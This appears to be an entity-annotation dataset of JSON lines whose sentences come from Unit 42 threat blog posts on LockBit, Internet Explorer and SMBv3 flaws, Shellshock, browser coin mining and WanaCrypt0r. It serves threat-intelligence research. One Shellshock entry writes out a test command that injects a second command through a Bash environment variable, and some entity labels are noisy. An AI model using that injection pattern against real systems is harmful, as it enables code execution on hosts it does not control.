-{"id":2690,"text":"Note: This is not an all-inclusive list of the protections provided by Palo Alto Networks.","entities":[{"id":8237,"label":"identity","start_offset":71,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":2691,"text":"This is a subset of our current Courses of Action initiative and will be updated as the project progresses.","entities":[],"relations":[],"Comments":[]}
-{"id":2692,"text":"  LockBit 2.0 and its evolution over time is a perfect example to illustrate the persistence, increasing complexity and impact brought by the ransomware landscape as a whole.","entities":[{"id":47926,"label":"attack-pattern","start_offset":2,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2693,"text":"With claims of this RaaS offering the fastest encryption on the ransomware market, coupled with the fact that it has been delivered in high volume by experienced affiliates, this RaaS poses a significant threat.","entities":[],"relations":[],"Comments":[]}
-{"id":2694,"text":"LockBit’s continuation with operations and its next iteration coming up on the horizon means that organizations and their security teams need to stay vigilant in the ever-evolving threat landscape.","entities":[{"id":47927,"label":"threat-actor","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2695,"text":"Palo Alto Networks detects and prevents LockBit 2.0 ransomware in the following ways:","entities":[{"id":47928,"label":"identity","start_offset":0,"end_offset":18},{"id":47929,"label":"threat-actor","start_offset":40,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":2696,"text":" If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":47932,"label":"identity","start_offset":248,"end_offset":269},{"id":47930,"label":"identity","start_offset":92,"end_offset":99},{"id":47931,"label":"identity","start_offset":133,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":2697,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":45663,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2698,"text":"Learn more about the Cyber Threat Alliance.","entities":[{"id":47933,"label":"identity","start_offset":21,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":2699,"text":" In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called “LockBitSupp” on a YouTube channel called “Russian-language open source intelligence (OSINT).”","entities":[{"id":47935,"label":"location","start_offset":18,"end_offset":26},{"id":47934,"label":"TIME","start_offset":4,"end_offset":15},{"id":47936,"label":"threat-actor","start_offset":118,"end_offset":129},{"id":47937,"label":"SOFTWARE","start_offset":156,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":2700,"text":"The same Russian blogger previously published interviews with a representative of the group behind the REvil ransomware-as-a-service (RaaS), hackers and security experts.","entities":[{"id":47938,"label":"threat-actor","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":2701,"text":" Some key takeaways from the claims made in the interview were: LockBit 3.0: Another Upgrade to the World’s Most Active Ransomware Ransomware Groups to Watch: Emerging Threats Average Ransom Payment Up 71% This Year, Approaches $1 Million 2022 Unit 42 Ransomware Threat Report Highlights  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":47939,"label":"threat-actor","start_offset":64,"end_offset":75},{"id":47940,"label":"identity","start_offset":244,"end_offset":251}],"relations":[],"Comments":[]}
-{"id":2702,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2703,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2704,"text":"On Saturday, Microsoft disclosed a critical vulnerability in Internet Explorer, CVE-2014-1776, affecting Internet Explorer versions 6 through 11.","entities":[{"id":47941,"label":"TIME","start_offset":3,"end_offset":11},{"id":47942,"label":"identity","start_offset":13,"end_offset":22},{"id":47944,"label":"vulnerability","start_offset":80,"end_offset":93},{"id":47945,"label":"SOFTWARE","start_offset":105,"end_offset":133},{"id":47943,"label":"SOFTWARE","start_offset":61,"end_offset":78}],"relations":[{"id":368,"from_id":47944,"to_id":47945,"type":"has"}],"Comments":[]}
-{"id":2705,"text":"The vulnerability exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.","entities":[{"id":47946,"label":"SOFTWARE","start_offset":41,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":2706,"text":"The vulnerability allows an attacker to execute arbitrary code in the context of the current user within Internet Explorer.","entities":[{"id":47947,"label":"attack-pattern","start_offset":40,"end_offset":62},{"id":45668,"label":"SOFTWARE","start_offset":105,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":2707,"text":"This could be exploited with drive-by downloads or watering-hole attacks, and has been observed being used in attacks in the wild.","entities":[{"id":47948,"label":"attack-pattern","start_offset":51,"end_offset":72},{"id":47949,"label":"attack-pattern","start_offset":29,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":2708,"text":" The exploit code used in these attacks only targets IE versions 9, 10 and 11, but earlier versions are still vulnerable.","entities":[{"id":47950,"label":"SOFTWARE","start_offset":53,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2709,"text":"As of this writing, Microsoft has not stated when a patch for the vulnerability will be available, but in its advisory the company provided multiple work-arounds.","entities":[{"id":45669,"label":"identity","start_offset":20,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":2710,"text":"Additionally, Windows XP systems running IE 6, 7 and 8 are also vulnerable, but will not receive a patch, as Microsoft no longer supports them.","entities":[{"id":47953,"label":"identity","start_offset":109,"end_offset":118},{"id":47951,"label":"SOFTWARE","start_offset":14,"end_offset":24},{"id":47952,"label":"SOFTWARE","start_offset":41,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":2711,"text":" It is always important to view this type of critical vulnerability in the larger context of the threat landscape.","entities":[],"relations":[],"Comments":[]}
-{"id":2712,"text":"Attackers identify thousands of critical vulnerabilities in commonly used software each year, such as Internet Explorer.","entities":[{"id":45670,"label":"SOFTWARE","start_offset":102,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":2713,"text":"Once identified, they then craft a seemingly endless supply of exploits that leverage these vulnerabilities to deliver unknown malware and compromise networks and endpoints.","entities":[],"relations":[],"Comments":[]}
-{"id":2714,"text":"Palo Alto Networks enterprise security platform is focused on providing an integrated approach to detecting and preventing advanced threats across each step in the attack kill-chain.","entities":[{"id":47954,"label":"identity","start_offset":0,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":2715,"text":"Bringing together our next-generation firewall – again a Gartner Magic Quadrant Leader – Threat Prevention, URL Filtering, WildFire, and Cyvera’s ability to prevent exploitation of unknown vulnerabilities will allow us to continue offering ground-breaking protection for our customers’ networks and endpoints, including Windows XP clients.","entities":[{"id":45672,"label":"SOFTWARE","start_offset":137,"end_offset":143},{"id":45671,"label":"SOFTWARE","start_offset":123,"end_offset":131},{"id":45673,"label":"SOFTWARE","start_offset":320,"end_offset":330}],"relations":[],"Comments":[]}
-{"id":2716,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2717,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2718,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2719,"text":"This post is also available in:      日本語 (Japanese)  In March 2020 Microsoft released a security advisory, ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression, for a new remote code execution (RCE) vulnerability.","entities":[{"id":47955,"label":"TIME","start_offset":56,"end_offset":66},{"id":47956,"label":"identity","start_offset":67,"end_offset":76},{"id":47958,"label":"SOFTWARE","start_offset":152,"end_offset":157},{"id":47960,"label":"attack-pattern","start_offset":181,"end_offset":208},{"id":47957,"label":"identity","start_offset":119,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":2720,"text":"Shortly after this advisory was released, Microsoft issued an out-of-band patch to protect affected users from CVE-2020-0796.","entities":[{"id":47962,"label":"vulnerability","start_offset":111,"end_offset":124},{"id":47961,"label":"identity","start_offset":42,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":2721,"text":" An out-of-band patch is typically released outside of the expected update period for a vendor.","entities":[],"relations":[],"Comments":[]}
-{"id":2722,"text":" In this particular case, Microsoft is known to release updates on Patch Tuesday, which was two days prior to this out-of-band update.","entities":[{"id":47963,"label":"SOFTWARE","start_offset":26,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":2723,"text":"  This vulnerability exists within the Microsoft Server Message Block 3.0 (SMBv3), specifically regarding malformed compression headers.","entities":[{"id":47964,"label":"SOFTWARE","start_offset":39,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":2724,"text":"Compression headers are a feature that was added to SMBv3 negotiate context request packets in May 2019.","entities":[{"id":45675,"label":"TIME","start_offset":95,"end_offset":103},{"id":45674,"label":"SOFTWARE","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":2725,"text":"For successful unauthenticated exploitation an attacker would need to craft a SMBv3 packet that contains the malformed compression header to a vulnerable SMBv3 Server.","entities":[{"id":47967,"label":"attack-pattern","start_offset":15,"end_offset":43},{"id":47965,"label":"SOFTWARE","start_offset":154,"end_offset":166},{"id":47966,"label":"SOFTWARE","start_offset":78,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":2726,"text":" For SMBv3 clients would require enticing a user to connect to a compromised SMBv3 server that they control.","entities":[{"id":47968,"label":"SOFTWARE","start_offset":5,"end_offset":10},{"id":47969,"label":"SOFTWARE","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":2727,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":45676,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":2728,"text":" This vulnerability only affects SMBv3 and the following builds of the Microsoft Windows operating system (OS):  Review the workaround guidance provided by the Microsoft Security Vulnerability.","entities":[{"id":47970,"label":"SOFTWARE","start_offset":33,"end_offset":38},{"id":47971,"label":"SOFTWARE","start_offset":71,"end_offset":110},{"id":47972,"label":"identity","start_offset":160,"end_offset":192}],"relations":[],"Comments":[]}
-{"id":2729,"text":"As always, we recommend our customers patch their systems as soon as possible.","entities":[],"relations":[],"Comments":[]}
-{"id":2730,"text":"Upgrade Cortex XDR and Traps agents for protection against this vulnerability regardless of whether your systems have installed the relevant security update from Microsoft.","entities":[{"id":45677,"label":"SOFTWARE","start_offset":8,"end_offset":18},{"id":45678,"label":"identity","start_offset":162,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":2731,"text":"For client mitigation, recommend creating an outbound firewall rule to block SMB outbound on public and private interfaces.","entities":[{"id":47973,"label":"SOFTWARE","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":2732,"text":"     Palo Alto Networks Cortex XDR and Traps provide protection against this vulnerability regardless of whether they are running on an unpatched instance of Microsoft Windows 10.","entities":[{"id":47974,"label":"SOFTWARE","start_offset":158,"end_offset":178},{"id":8365,"label":"identity","start_offset":5,"end_offset":23},{"id":8366,"label":"tools","start_offset":24,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":2733,"text":"Additionally, Palo Alto Networks offers multiple, additional complementary protections for this exploit.","entities":[{"id":45679,"label":"identity","start_offset":14,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2734,"text":"As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.","entities":[{"id":47975,"label":"identity","start_offset":72,"end_offset":90},{"id":47976,"label":"identity","start_offset":19,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2735,"text":"As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.","entities":[{"id":47977,"label":"identity","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":2736,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.","entities":[{"id":45680,"label":"identity","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":2737,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2738,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2739,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2740,"text":"This post is also available in:      日本語 (Japanese)  Around 6:00 am PST on September 24, the details of a vulnerability in the widely used Bourne Again Shell (Bash) were disclosed by multiple Linux vendors.","entities":[{"id":47978,"label":"TIME","start_offset":60,"end_offset":87},{"id":47979,"label":"SOFTWARE","start_offset":192,"end_offset":197},{"id":47980,"label":"SOFTWARE","start_offset":139,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":2741,"text":"The vulnerability, assigned CVE-2014-6271 by Mitre, was originally discovered by Stephane Chazelas, a Unix and Linux network and telecom administrator and IT manager at UK robotics company SeeByte, Ltd.  ","entities":[{"id":47982,"label":"identity","start_offset":45,"end_offset":50},{"id":47984,"label":"SOFTWARE","start_offset":102,"end_offset":106},{"id":47981,"label":"vulnerability","start_offset":28,"end_offset":41},{"id":47983,"label":"identity","start_offset":81,"end_offset":98},{"id":47986,"label":"identity","start_offset":169,"end_offset":201},{"id":47985,"label":"SOFTWARE","start_offset":111,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":2742,"text":"While this vulnerability didn’t come with quite the fanfare or a catchy name like Heartbleed, the security community quickly dubbed it “Shellshock.”","entities":[{"id":45681,"label":"vulnerability","start_offset":82,"end_offset":92},{"id":45682,"label":"vulnerability","start_offset":136,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":2743,"text":"Bash is present in most Linux and Unix distributions as well as Apple’s Mac OS X, and there’s a good chance anyone reading this has a system they need to patch.","entities":[{"id":47988,"label":"SOFTWARE","start_offset":34,"end_offset":38},{"id":47987,"label":"SOFTWARE","start_offset":24,"end_offset":29},{"id":47989,"label":"SOFTWARE","start_offset":64,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":2744,"text":" Palo Alto Networks initiated an emergency IPS content release to detect this vulnerability last night with Signature ID: 36729 \"Bash Remote Code Execution Vulnerability.”  ","entities":[{"id":47990,"label":"identity","start_offset":1,"end_offset":19},{"id":47991,"label":"vulnerability","start_offset":129,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":2745,"text":"All versions of PAN-OS and Panorama include the vulnerable version of Bash, but we’ve determined the issue is only exploitable by authenticated users.","entities":[{"id":45683,"label":"SOFTWARE","start_offset":16,"end_offset":22},{"id":45684,"label":"SOFTWARE","start_offset":27,"end_offset":35},{"id":45685,"label":"SOFTWARE","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":2746,"text":"Normal PAN-OS maintenance release updates will provide a fix for the vulnerability.","entities":[{"id":47992,"label":"SOFTWARE","start_offset":7,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2747,"text":"We have posted the advisory on our product vulnerability page.","entities":[],"relations":[],"Comments":[]}
-{"id":2748,"text":"Read on for more details.","entities":[],"relations":[],"Comments":[]}
-{"id":2749,"text":" Vulnerability Details  CVE-2014-6271 exists in all versions of Bash and is related to how environment variables are processed when the shell starts up.","entities":[{"id":47993,"label":"vulnerability","start_offset":24,"end_offset":37},{"id":47994,"label":"tools","start_offset":64,"end_offset":68}],"relations":[{"id":369,"from_id":47994,"to_id":47993,"type":"has"}],"Comments":[]}
-{"id":2750,"text":"Environment variables are used by shell software to store pieces of information like the location of the user’s home directory.","entities":[],"relations":[],"Comments":[]}
-{"id":2751,"text":"In addition to storing variables, Bash allows for storing shell functions in variables that users can call later.","entities":[{"id":45686,"label":"SOFTWARE","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":2752,"text":"It’s in parsing these functions that the new Bash vulnerability exists, as the shell mistakenly executes code that is added after a function definition.","entities":[{"id":47995,"label":"tools","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":2753,"text":"Here’s an example:  $ env x='() { :;}; echo vulnerable'","entities":[],"relations":[],"Comments":[]}
-{"id":2754,"text":"bash -c \"echo this is a test\"","entities":[],"relations":[],"Comments":[]}
-{"id":2755,"text":" vulnerable  this is a test  ","entities":[],"relations":[],"Comments":[]}
-{"id":2756,"text":"Bash should stop processing the environment variable “x” after the closing semicolon for the function, but instead continues to process “echo vulnerable”.","entities":[],"relations":[],"Comments":[]}
-{"id":2757,"text":"At first glance, this might not seem too dangerous as executing commands is Bash’s primary function, but it’s important to understand that many other programs use Bash to process commands.","entities":[{"id":45687,"label":"SOFTWARE","start_offset":76,"end_offset":80},{"id":45688,"label":"SOFTWARE","start_offset":163,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":2758,"text":" While these two scenarios are currently the most-likely vectors for exploiting this vulnerability, it’s likely that other services use Bash in a network-exploitable way.","entities":[],"relations":[],"Comments":[]}
-{"id":2759,"text":"The only way to fully prevent exploitation is to upgrade Bash on the system to a non-vulnerable version.  Impact","entities":[],"relations":[],"Comments":[]}
-{"id":2760,"text":"The good news is that this vulnerability was disclosed responsibly and patches are available for most platforms on the day of the public disclosure.","entities":[],"relations":[],"Comments":[]}
-{"id":2761,"text":"The bad news is that this vulnerability is going to have a very long tail.","entities":[],"relations":[],"Comments":[]}
-{"id":2762,"text":"Bash is the default shell for the most-popular Linux variants and every version of the software stretching back over two decades is vulnerable.","entities":[{"id":47996,"label":"SOFTWARE","start_offset":47,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":2763,"text":"Well-maintained systems will be patched today, but that dusty old system in the networking closet might never get the update.","entities":[],"relations":[],"Comments":[]}
-{"id":2764,"text":"Additionally, network devices, embedded systems and Internet-connected devices (like IP Cameras) often run Linux and could be vulnerable.","entities":[],"relations":[],"Comments":[]}
-{"id":2765,"text":" Fortunately, not every system is remotely exploitable simply because it’s running Bash, it also needs to be running an application which makes Bash accessible over the network.","entities":[{"id":47998,"label":"tools","start_offset":144,"end_offset":148},{"id":47997,"label":"tools","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":2766,"text":"As described above, the most-common exploit scenario seems like it will be web servers running Apache and using CGI scripts.","entities":[{"id":45689,"label":"SOFTWARE","start_offset":95,"end_offset":101},{"id":45690,"label":"SOFTWARE","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":2767,"text":"Web servers are great resources for attackers.","entities":[],"relations":[],"Comments":[]}
-{"id":2768,"text":"They can be used to:  These are all likely outcomes from mass scanning of the Internet for vulnerable hosts, which are already underway.","entities":[],"relations":[],"Comments":[]}
-{"id":2769,"text":" Recommendations  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2770,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":2771,"text":"On January 2, 2017, one Bitcoin was worth US $985.56.","entities":[{"id":47999,"label":"TIME","start_offset":3,"end_offset":18},{"id":48000,"label":"SOFTWARE","start_offset":24,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":2772,"text":" By October 16, 2017, that same Bitcoin was worth US $ 5,707.40: a 579% increase in value in ten and a half months.","entities":[{"id":45691,"label":"TIME","start_offset":4,"end_offset":20},{"id":45692,"label":"SOFTWARE","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":2773,"text":" By comparison, Ethereum has gone from US $8.15 per ether on January 2, 2017 to US $342.83 per ether on October 16, 2017: a jump of 4,206%.  Cryptocurrencies are big money these days and seemingly getting bigger by the day.  And if we’ve learned one thing about cybercriminals, they follow the money.","entities":[{"id":48001,"label":"TIME","start_offset":61,"end_offset":76},{"id":48002,"label":"TIME","start_offset":104,"end_offset":120},{"id":48003,"label":"SOFTWARE","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":2774,"text":" So, it’s not surprising to see that cybercrime is turning its attention to cryptocurrencies.","entities":[],"relations":[],"Comments":[]}
-{"id":2775,"text":" In our latest research, “Unauthorized Coin Mining in the Browser”, Unit 42 researchers show how cybercriminals have taken an old tactic, hijacking web browsers without the users consent or knowledge (commonly called a “drive -by attack”), and adapted it to make money in the increasingly lucrative cryptocurrencies markets.","entities":[{"id":48004,"label":"attack-pattern","start_offset":26,"end_offset":50},{"id":45693,"label":"identity","start_offset":68,"end_offset":75},{"id":45694,"label":"attack-pattern","start_offset":138,"end_offset":160},{"id":45696,"label":"attack-pattern","start_offset":220,"end_offset":236}],"relations":[],"Comments":[]}
-{"id":2776,"text":"Before, drive-by attacks focused on abusing a browser’s legitimate download capabilities to download malware onto the victim’s system without their consent or knowledge.","entities":[{"id":48005,"label":"attack-pattern","start_offset":92,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":2777,"text":"These new drive-by attacks focus on hijacking the computational resources of the victim’s computer to “mine” cryptocurrency on behalf of the attackers.","entities":[{"id":48006,"label":"attack-pattern","start_offset":36,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":2778,"text":" The focus of these attacks is to use the victim’s web browser to access the computational resources of their system.","entities":[],"relations":[],"Comments":[]}
-{"id":2779,"text":"The attackers accomplish this through abuse of a legitimate tool by placing it on malicious or compromised websites and running it in the victim’s browser without his or her consent or knowledge when they visit the site.","entities":[],"relations":[],"Comments":[]}
-{"id":2780,"text":"The tool is designed to “mine” cryptocurrencies, that is it earns credit in the cryptocurrency in exchange for computing power that is used to power the cryptocurrencies’ digital infrastructure.","entities":[],"relations":[],"Comments":[]}
-{"id":2781,"text":"This tool has a legitimate use: sites can and do notify users that they’re using the site visitors’ resources in this way to support the site, typically as a substitute for ads on the site.","entities":[],"relations":[],"Comments":[]}
-{"id":2782,"text":"But in this case, the attacker actually gets the credit that the victim’s computational resources earns without the visitors’ consent or knowledge making it a malicious attack.","entities":[],"relations":[],"Comments":[]}
-{"id":2783,"text":" Put simply, the net result is that the victim’s computer slows down (sometimes significantly) while on the malicious or compromised website.","entities":[],"relations":[],"Comments":[]}
-{"id":2784,"text":"And while the computer is impacted like this, the attacker is earning money.","entities":[],"relations":[],"Comments":[]}
-{"id":2785,"text":"The attacker steals the victims computing resources and translates it into a cryptocurrency like Bitcoin.","entities":[{"id":48011,"label":"SOFTWARE","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":2786,"text":" This new kind of attack tells us that at least some cybercriminals are starting to view theft of victim’s computing power to translate into cryptocurrencies as a better business proposition than the traditional practice of loading malware on the victim’s system through drive-by downloads.","entities":[],"relations":[],"Comments":[]}
-{"id":2787,"text":" And our research shows that this isn’t an isolated event.","entities":[],"relations":[],"Comments":[]}
-{"id":2788,"text":"Our researchers analyzed over 1,000 of sites and what they found was very telling.","entities":[],"relations":[],"Comments":[]}
-{"id":2789,"text":" The good news is that these attacks are more like denial of service attacks: they don’t do lasting harm to your system and they end when you leave the site.  The bad news is that these are harder to defend against than typical drive-by download attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2790,"text":"Where drive-by download attacks usually exploit unpatched vulnerabilities, the root of these attacks is that they abuse otherwise legitimate functionality: you can’t prevent them by being fully patched.","entities":[],"relations":[],"Comments":[]}
-{"id":2791,"text":" Security products that take a comprehensive, layered approach can help prevent these attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2792,"text":"And if you think your system is being affected by one of these attacks, you can, in most cases, end the attack by either leaving the site or closing the browser.","entities":[],"relations":[],"Comments":[]}
-{"id":2793,"text":"Most of all, this latest development shows how a changing economic landscape in turn changes the cybercrime landscape.","entities":[],"relations":[],"Comments":[]}
-{"id":2794,"text":"Loading malware through drive-by downloads is so 2012: in 2017 it’s about drive-by mining attacks to earn cryptocurrencies.","entities":[{"id":48012,"label":"TIME","start_offset":49,"end_offset":53},{"id":48013,"label":"TIME","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2795,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":2796,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
-{"id":2797,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
-{"id":2798,"text":"This post is also available in:      日本語 (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.","entities":[{"id":48014,"label":"identity","start_offset":58,"end_offset":65},{"id":48015,"label":"malware","start_offset":130,"end_offset":141}],"relations":[],"Comments":[]}
-{"id":2799,"text":" Initial reports said that the WanaCrypt0r attack began as part of a spam\/phishing campaign.","entities":[{"id":45697,"label":"malware","start_offset":31,"end_offset":42},{"id":45698,"label":"campaign","start_offset":69,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":2800,"text":"Unit 42 and other researchers have concluded that these reports are not substantiated.","entities":[{"id":48016,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2801,"text":"While the initial attack vector for these attacks is unknown, it is certain that the spread of the ransomware occurs through active exploitation of the ETERNALBLUE vulnerability (CVE-2017-0144) in Microsoft Windows.","entities":[{"id":48017,"label":"vulnerability","start_offset":179,"end_offset":192},{"id":48018,"label":"SOFTWARE","start_offset":197,"end_offset":214},{"id":8563,"label":"vulnerability","start_offset":152,"end_offset":163}],"relations":[{"id":371,"from_id":48018,"to_id":48017,"type":"has"},{"id":373,"from_id":8563,"to_id":48017,"type":"related-to"}],"Comments":[]}
-{"id":2802,"text":"Patches for this vulnerability for all supported versions of Windows have been available since March 2017.","entities":[{"id":45699,"label":"TIME","start_offset":95,"end_offset":105},{"id":45700,"label":"SOFTWARE","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":2803,"text":"On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.","entities":[{"id":48019,"label":"TIME","start_offset":10,"end_offset":22},{"id":48020,"label":"identity","start_offset":24,"end_offset":33},{"id":48021,"label":"SOFTWARE","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":2804,"text":" As the attack leverages this Microsoft vulnerability, the most appropriate first step to take against the attack is to apply the patches.","entities":[{"id":48022,"label":"identity","start_offset":30,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":2805,"text":"Unit 42 researchers have confirmed that the patch is effective against the WanaCrypt0r Ransomware attacks.","entities":[{"id":45701,"label":"identity","start_offset":0,"end_offset":7},{"id":45702,"label":"malware","start_offset":75,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":2806,"text":" In addition, Palo Alto Networks, and other vendors, including our fellow members of the Cyber Threat Alliance, have released additional protections that help prevent the spread of the WanaCrypt0r ransomware.","entities":[{"id":48025,"label":"malware","start_offset":185,"end_offset":196},{"id":48023,"label":"identity","start_offset":14,"end_offset":32},{"id":48024,"label":"identity","start_offset":89,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":2807,"text":"For information on Palo Alto Networks protections, please see our posting Palo Alto Networks Protections Against WanaCrypt0r Ransomware Attacks.","entities":[{"id":48027,"label":"identity","start_offset":74,"end_offset":92},{"id":48026,"label":"identity","start_offset":19,"end_offset":37},{"id":8580,"label":"malware","start_offset":113,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":2808,"text":"As with all ransomware attacks, Palo Alto Networks and Unit 42 recommends that anyone affected NOT pay the ransom.","entities":[{"id":45703,"label":"identity","start_offset":32,"end_offset":50},{"id":45704,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":2809,"text":"Unit 42 is not aware of any reports where paying the ransom to the WanaCrypt0r attackers has resulted in the recovery of data.","entities":[{"id":48028,"label":"identity","start_offset":0,"end_offset":7},{"id":8587,"label":"malware","start_offset":67,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":2810,"text":"In addition, Unit 42 research has shown that very few have attempted to pay the ransom.","entities":[{"id":48029,"label":"identity","start_offset":13,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":2811,"text":" Unit 42 is following this situation very closely and will update this blog with any new information as it becomes available.","entities":[{"id":45705,"label":"identity","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":2812,"text":" WanaCrypt0r is a global ransomware attack that emerged on Friday, May 12, 2017.","entities":[{"id":48030,"label":"malware","start_offset":1,"end_offset":12},{"id":48031,"label":"TIME","start_offset":59,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":2813,"text":"It immediately gained broad media attention, due to its destructive nature, how widespread it was, and multiple high profile victims.","entities":[],"relations":[],"Comments":[]}
-{"id":2814,"text":"This attack uses the version 2.0 of this ransomware.","entities":[],"relations":[],"Comments":[]}
-{"id":2815,"text":"WanaCrypt0r v 1.0 was first reported a few months ago but did not include the worm capability associated with this attack.","entities":[{"id":48032,"label":"malware","start_offset":0,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":2816,"text":" Reports quickly emerged that this attack was effective due to the presence of code exploiting a vulnerability (CVE-2017-0144) in Microsoft Windows (code named: ETERNALBLUE) that was released as part of the Equation Group dump by the Shadow Brokers in their fifth leak on April 14, 2017.","entities":[{"id":48034,"label":"SOFTWARE","start_offset":130,"end_offset":147},{"id":48035,"label":"TIME","start_offset":272,"end_offset":286},{"id":48033,"label":"vulnerability","start_offset":112,"end_offset":125},{"id":8600,"label":"vulnerability","start_offset":161,"end_offset":172},{"id":8601,"label":"threat-actor","start_offset":207,"end_offset":221},{"id":8602,"label":"threat-actor","start_offset":230,"end_offset":248}],"relations":[{"id":377,"from_id":48034,"to_id":48033,"type":"has"},{"id":378,"from_id":8600,"to_id":48033,"type":"related-to"},{"id":379,"from_id":8600,"to_id":8601,"type":"related-to"}],"Comments":[]}
